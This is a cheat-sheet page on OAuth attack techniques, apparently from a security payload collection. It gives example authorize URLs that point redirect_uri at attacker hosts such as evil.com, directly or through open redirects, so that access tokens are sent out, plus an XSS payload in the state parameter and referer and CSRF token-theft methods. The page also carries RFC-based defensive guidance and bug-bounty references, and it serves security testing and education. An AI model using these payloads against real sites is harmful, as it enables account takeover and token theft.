

# OAuth

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## Stealing OAuth Token via referer

From [@abugzlife1](#) tweet.

Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer

## Grabbing OAuth Token via redirect\_uri

Redirect to a controlled domain to get the access token

```
https://www.example.com/signin/authorize?  
[...]&redirect_uri=https://demo.example.com/loginsuccessful  
https://www.example.com/signin/authorize?  
[...]&redirect_uri=https://localhost.evil.com
```

Redirect to an accepted Open URL in to get the access token

```
https://www.example.com/oauth20_authorize.srf?  
[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?  
next=https://evil.com  
https://www.example.com/oauth2/authorize?  
[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
```

OAuth implementations should never whitelist entire domains, only a few URLs so that "redirect\_uri" can't be pointed to an Open Redirect.

Sometimes you need to change the scope to an invalid one to bypass a filter on redirect\_uri:

```
https://www.example.com/admin/oauth/authorize?  
[...]&scope=a&redirect_uri=https://evil.com
```

## Executing XSS via redirect\_uri

```
https://example.com/oauth/v1/authorize?
[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
```

## OAuth private key disclosure

Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.

## Authorization Code Rule Violation

The client MUST NOT use the authorization code more than once.

If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.

## Cross-Site Request Forgery

Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback ([https://example.com/callback?code=AUTHORIZATION\\_CODE](https://example.com/callback?code=AUTHORIZATION_CODE)). This URL can be used in CSRF attacks.

The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.

## References

- [All your Paypal OAuth tokens belong to me - localhost for the win - INTO THE SYMMETRY](#)
- [OAuth 2 - How I have hacked Facebook again \(..and would have stolen a valid access token\) - INTO THE SYMMETRY](#)
- [How I hacked Github again. - Egor Homakov](#)
- [How Microsoft is giving your data to Facebook... and everyone else - Andris Ateka](#)
- [Bypassing Google Authentication on Periscope's Administration Panel](#) By Jack Whitton